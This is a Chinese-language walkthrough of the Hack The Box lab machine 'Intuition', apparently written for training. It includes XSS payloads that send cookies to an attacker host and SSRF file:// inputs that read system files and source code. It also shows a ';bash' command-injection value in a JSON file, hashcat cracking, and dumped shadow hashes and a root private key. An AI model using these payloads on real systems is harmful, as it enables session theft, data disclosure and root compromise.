HTB[M]-Intuition-[Hard]

623 阅读3分钟

Intuition

image.png

Recon

Port Scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Sub Domain Enum

ffuf -u "http://comprezzor.htb" -H "Host: FUZZ.comprezzor.htb" -w $ROCKYOU -fs 178

________________________________________________

 :: Method           : GET
 :: URL              : http://comprezzor.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.comprezzor.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

auth                    [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 247ms]
report                  [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 240ms]
dashboard               [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 241ms]

HTTP View

comprezzor.htb

image.png

发现一个上传接口,提供在线压缩功能,用到了 LZMA 算法,可以联想到最近出现的 XZ 后门 CVE-2024-3094

auth.comprezzor.htb

image.png

发现一个登录接口,暂无凭据信息,此处可能存在 SQL 注入漏洞,另外可以注册登录

image.png

登陆后跳转到 report.comprezzor.htb

report.comprezzor.htb

image.png

登陆后有一个报告 Bug 的功能,可能存在 XSS 漏洞来获取管理员 Cookie

dashboard.comprezzor.htb

访问时需要登录,登录刚刚注册的用户后跳转到 report.comprezzor.htb 猜测权限不足

因此可以尝试 SQL 注入与 XSS 漏洞

Shell as dev_acc

report.comprezzor.htb

  • SQLi

未发现 SQL 注入

  • XSS

<img src="" onerror=eval(fetch('http://[Attack IP]?cookie='+document.cookie)) >

image.png

等待 Payload 触发,如果不确定可以发送多个不同的 Payload

image.png

Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4

修改浏览器存储的 Cookie

image.png

访问 dashboard.comprezzor.htb

image.png

dashboard.comprezzor.htb

Web Dir Brute

feroxbuster --no-state -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://dashboard.comprezzor.htb/' -H 'Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4' -o dir_dashboard.comprezzor.htb.log

───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://dashboard.comprezzor.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.2
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🤯  Header                │ Cookie:  user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
 🔎  Extract Links         │ true
 💾  Output File           │ dir_dashboard.comprezzor.htb.log
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       87l      152w     2511c http://dashboard.comprezzor.htb/report/4
200      GET       87l      154w     2517c http://dashboard.comprezzor.htb/report/1
200      GET       87l      150w     2502c http://dashboard.comprezzor.htb/report/2
200      GET       87l      152w     2514c http://dashboard.comprezzor.htb/report/3
200      GET       87l      152w     2515c http://dashboard.comprezzor.htb/report/5
200      GET      107l      146w     2737c http://dashboard.comprezzor.htb/
302      GET        5l       22w      189c http://dashboard.comprezzor.htb/backup => http://dashboard.comprezzor.htb/
405      GET        5l       20w      153c http://dashboard.comprezzor.htb/resolve

没有爆破到有趣的新目录

XSS

image.png

其他的报告是有 Set Low Priority 功能的,但是刚刚用来获取管理员 Cookie 的报告一片空白

image.png

应该是 XSS 的时候没有加字符导致页面显示错误,修改 Payload

image.png

在修改的过程中发现报告消失了,结合功能猜测可能是报告被处理或者删除掉了,那么可以联想到还存在另一个专门处理报告的管理员,此时查看 80 端口的 HTTP 日志,并没有发现其他的请求,尝试重新构造 XSS Payload

<img src=1 onerror="fetch('http://[Attack IP]/?cookie='+document.cookie)">

image.png

设置优先级

image.png

发现新的 cookie

image.png

Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5

替换 Cookie 后再访问 dashboard

image.png

可以看到多了两个新功能,当然,其中的 Create PDF Report 更有趣一点

SSRF (CVE-2022-35583 & CVE-2023–24329)

image.png

首先生成一个 PDF,并查看其中的元数据

image.png

搜索 wkhtmltopdf 0.12.6 有关漏洞,发现 CVE-2022-35583

www.exploit-db.com/exploits/51…

image.png

输入一个 file:///etc/passwd 发现会有 URL 检查,另外由于 Python HTTP Server 显示的日志太少,这里换成 Nginx

image.png

image.png

可以成功打印 phpinfo,发现 SSRF 目标客户端为 Python-urllib/3.11,搜索发现 CVE-2023-24329

github.com/python/cpyt…

image.png

介绍说空格后的内容会解析到 netloc 部分,这可能会导致绕过黑名单,因此尝试在 file 前加一个空格

file:///etc/passwd

image.png

成功,现在需要一些思路来进行下一步

结合前面的内容可以轻易猜到这个 Web 服务应该是用 Python 语言开发的

Linux 有个 /proc 文件存放进程信息,其中 /proc/pid/cmdline 的内容为进程的启动命令,如果这个 Web 的运行方式时 python xxx/xxx.py 那么可以通过此文件获取 Web 目录

image.png

本地执行可以看到,文件内容是命令 + 参数,中间使用空字符 \x00 来分隔,因此显示出来的效果就是连在一起的

file:///proc/self/cmdline

image.png

可以看到代码文件的路径为 /app/code/app.py 而且这路径感觉好像在容器里面,那么继续查看源代码

file:///app/code/app.py

image.png

image.png

可以看到一些有趣的内容

# 这里的导入很显然是相对路径,从这里可以得到其他 Py 文件的路径,例如:/app/code/blueprints/index/index.py
from blueprints.index.index import main_bp 
from blueprints.report.report import report_bp 
from blueprints.auth.auth import auth_bp 
from blueprints.dashboard.dashboard import dashboard_bp

# 这个好像是 flask 用来签名 Cookie 的
app.secret_key = "7ASS7ADA8RF3FD7"

那么接下来继续导出 Py 源代码

 file:///app/code/blueprints/auth/auth.py
 file:///app/code/blueprints/index/index.py
 file:///app/code/blueprints/report/report.py
 file:///app/code/blueprints/dashboard/dashboard.py

image.png

在 dashboard.py 中发现了硬编码的 Cookie 和 FTP 凭据

那么继续枚举 FTP,FTP 可以构造成 url 来用浏览器访问,如果不指定文件,那么将会返回目录下的所有文件

ftp://ftp_admin:u3jai8y71s2@ftp.local/

image.png

发现三个新文件,查看各自内容

 ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
 ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.pdf
 ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt

image.png

private-8297.key 文件像是一个用于 SSH 连接的私钥

image.png

welcome_note.txt 文件内容说 Y27SH19HDIWD 是访问密钥的短语,那应该是密钥的使用密码

image.png

密钥需要修复成标准格式,并给文件赋予 0600 权限

SSH Private Key Info

现在不知道这个密钥对应的用户,首先猜测 adam 用户

image.png

密钥不匹配,那只能想想其他地方了,突然想起在生成 ssh 密钥对的时候可以使用 -C 参数填入信息

image.png

此信息在修改密钥密码时会打印出来(密码短语要正确)

image.png

登录 dev_acc

image.png

登录成功,而且不是在容器内

Enum

Linpeas

image.png

image.png

发现一个奇怪的端口 4444

image.png

好像时 Selenuim 控制的服务

image.png

可惜的是权限不太高

image.png

发现 Web 应用的认证数据库

image.png

发现两组凭据

FTP

hashcat 可以爆破出 adam 的凭据

hashcat -m 30120 'sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43' /usr/share/wordlists/rockyou.txt

sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray

adam 用户无法登录,但是可以登录 FTP

image.png

发现三个文件

image.png

发现一个密钥的一部分,暂时不知道用处,还有一个源代码

// Version : 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>

#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"

int check_auth(const char* auth_key) {
    unsigned char digest[MD5_DIGEST_LENGTH];
    MD5((const unsigned char*)auth_key, strlen(auth_key), digest);

    char md5_str[33];
    for (int i = 0; i < 16; i++) {
        sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
    }

    if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
        return 1;
    } else {
        return 0;
    }
}

void listPlaybooks() {
    DIR *dir = opendir(PLAYBOOK_LOCATION);
    if (dir == NULL) {
        perror("Failed to open the playbook directory");
        return;
    }

    struct dirent *entry;
    int playbookNumber = 1;

    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
            printf("%d: %s\n", playbookNumber, entry->d_name);
            playbookNumber++;
        }
    }

    closedir(dir);
}

void runPlaybook(const char *playbookName) {
    char run_command[1024];
    snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
    system(run_command);
}

void installRole(const char *roleURL) {
    char install_command[1024];
    snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
    system(install_command);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
        return 1;
    }

    int auth_required = 0;
    char auth_key[128];

    for (int i = 2; i < argc; i++) {
        if (strcmp(argv[i], "-a") == 0) {
            if (i + 1 < argc) {
                strncpy(auth_key, argv[i + 1], sizeof(auth_key));
                auth_required = 1;
                break;
            } else {
                printf("Error: -a option requires an auth key.\n");
                return 1;
            }
        }
    }

    if (!check_auth(auth_key)) {
        printf("Error: Authentication failed.\n");
        return 1;
    }

    if (strcmp(argv[1], "list") == 0) {
        listPlaybooks();
    } else if (strcmp(argv[1], "run") == 0) {
        int playbookNumber = atoi(argv[2]);
        if (playbookNumber > 0) {
            DIR *dir = opendir(PLAYBOOK_LOCATION);
            if (dir == NULL) {
                perror("Failed to open the playbook directory");
                return 1;
            }

            struct dirent *entry;
            int currentPlaybookNumber = 1;
            char *playbookName = NULL;

            while ((entry = readdir(dir)) != NULL) {
                if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
                    if (currentPlaybookNumber == playbookNumber) {
                        playbookName = entry->d_name;
                        break;
                    }
                    currentPlaybookNumber++;
                }
            }

            closedir(dir);

            if (playbookName != NULL) {
                runPlaybook(playbookName);
            } else {
                printf("Invalid playbook number.\n");
            }
        } else {
            printf("Invalid playbook number.\n");
        }
    } else if (strcmp(argv[1], "install") == 0) {
        installRole(argv[2]);
    } else {
        printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
        return 1;
    }

    return 0;
}

也是暂时不知道用处

Shell as lopez

翻看一下日志目录

image.png

image.png

找到一个有趣的应用 IPS/IDS,eve 日志文件存放的是告警信息

image.png

可以看到这个事件类型,那么有安全运维经验的好兄弟肯定碰到过一个问题,企业内网的 IDS/IPS 经常会报一个明文密码传输的告警,一般就是 FTP 服务导致的,因此在这里过滤 FTP 看一下有没有凭据信息

image.png

对于 .gz 文件,cat 出来的是二进制内容而不是字符串,需要使用 zgrep 来过滤

image.png

image.png

发现一个本地用户凭据,需要注意状态 530 是登录失败的情况

image.png

登录成功

Enum

image.png

发现一个 sudo 权限,/opt/runner2/runner2

Shell as Root

image.png

运行失败,也没有帮助文档,那只能逆向一下了

image.png

可以看到 runner2 在打开 json 文件后尝试获取两个键值,分别是 action、auth_code,同时调用 listPlaybooks 函数,结合起来容易联想到 ansible,所以猜测这个 runner2 是通过 json 文件来操控 ansible 的程序。

image.png

但是在这些步骤之前,有一个 md5 校验认证,联想到了前面发现的部分凭据,使用 Hashcat 爆破出完整凭据

hashcat -a 3 -m 0 0feda17076d793c2ef2870d7427ad4ed UHI75GHI?a?a?a?a

0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP

那么继续分析 runner2

image.png

发现 runPlaybook 函数调用 snprintf 与 system 存在漏洞,参数直接拼接有可能存在命令注入漏洞

/usr/bin/ansible-playbook -i /opt/playbooks/inventory.ini /opt/playbooks/ $arg1

现在看一下 arg1 传入的是什么

image.png

好像是一个静态变量,不可控,下一个

image.png

看到 installRole 函数也是类似的调用方式

/usr/bin/ansible-galaxy install $arg1

image.png

从 main 函数也可以看到,参数和 role_file 键的值有关,因此构造利用 json 文件

{
        "action": "install",
        "role_file": "exp.json;bash",
        "auth_code": "UHI75GHINKOP"
}

image.png

缺少 run 键,套一层

{
    "run": {
        "action": "install",
        "role_file": "exp.json;bash",
        "auth_code": "UHI75GHINKOP"
    }
}

image.png

提示没有 install action

image.png

从代码中可以看到,auth_code 键要比 role_file 高一级,因此 json 修改成以下内容

{
    "run": {
        "action": "install",
        "role_file": "exp.json;bash"
    },
    "auth_code": "UHI75GHINKOP"
}

image.png

提示错误的 tar 归档文件

image.png

在 installRole 函数中可以看到,执行 system 前有一个 tar 文件检查,那么把 role_file 改为一个存在的 tar 文件

{
    "run": {
        "action": "install",
        "role_file": "exp.tar;bash"
    },
    "auth_code": "UHI75GHINKOP"
}

image.png

Root !

More and More

Dump Hash

root:$y$j9T$uiniFHjBFerbO..eAx7bI1$A6O8Lt6NG3BS33humdTtnyFe3uTcM3Gew1gldp0S2r4:19656:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19589:0:99999:7:::
lxd:!:19589::::::
dnsmasq:*:19595:0:99999:7:::
avahi:*:19605:0:99999:7:::
geoclue:*:19605:0:99999:7:::
adam:$y$j9T$RxWDBIbgNBK.1OPH6yR6q0$SkHyQ3QsKfTQ/igOVFsA5pCyosQdsfOkdN2uFL9rJA9:19656:0:99999:7:::
dev_acc:$y$j9T$lLBxGx6iEU24F53iC/4GY.$njJxClEhidCwWmF9yQjsSChxZ38hN3fhU7N4YOPovt4:19838:0:99999:7:::
lopez:$y$j9T$iuv2R99Ps/.rTY6fkdya/1$gk87UA.ESt6ObAMJVEkH9oxsy3Qui570dUn4NloxqEC:19643:0:99999:7:::
_laurel:!:19822::::::

id_rsa - root

-----BEGIN OPENSSH PRIVATE KEY-----
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
/SyH9wMrVGJ+mPAAAACnJvb3RAbG9jYWw=
-----END OPENSSH PRIVATE KEY-----